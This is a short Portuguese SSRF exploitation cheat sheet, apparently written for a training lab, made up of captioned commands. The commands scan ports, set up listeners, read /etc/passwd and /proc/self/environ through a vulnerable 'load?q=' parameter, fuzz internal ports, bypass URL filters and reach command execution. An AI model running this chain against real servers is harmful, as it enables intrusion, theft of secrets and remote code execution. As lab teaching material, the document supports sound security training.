SSRF Exploitation Example
SSRF
nos permite abusar da funcionalidade do servidor para realizar solicitações de recursos internos ou externos em nome do servidor.
nmap -sT -T5 --min-rate=10000 -p- --open 10.129.201.238
Verificando as portas do destino externo
curl -i -s -L http://<TARGET IP>
Interagindo com o alvo e seguindo redirecionamentos
nc -lvnp 8080
Iniciando um ouvinte netcat para testar SSRF
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"
Teste de vulnerabilidade SSRF
python3 -m http.server 9090
Iniciando o servidor web python
sudo pip3 install twisted
Instalando o servidor ftp
sudo python3 -m twisted ftp -p 21 -r .
Iniciando o servidor ftp
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"
Recuperando um arquivo remoto por meio do aplicativo de destino (esquema HTTP)
curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd"
Recuperando um arquivo local por meio do aplicativo de destino (esquema de arquivo)
for port in {1..65535};do echo $port >> ports.txt;done
Gerando uma lista de palavras de portas possíveis
ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30
Fuzzing para portas na interface interna
curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"
Interagindo com a interface interna na porta descoberta
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"
Interagindo com o aplicativo interno
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"
Descobrindo um aplicativo da web escutando no host local
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"
Modificando o URL para ignorar a mensagem de erro
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -
Solicitando a divulgação do arquivo /proc/self/environ no aplicativo interno
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"
Recuperando um arquivo local por meio do aplicativo de destino
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"
Confirmando a execução remota de código no host remoto
sudo apt-get install jq
Instalando jq
Last updated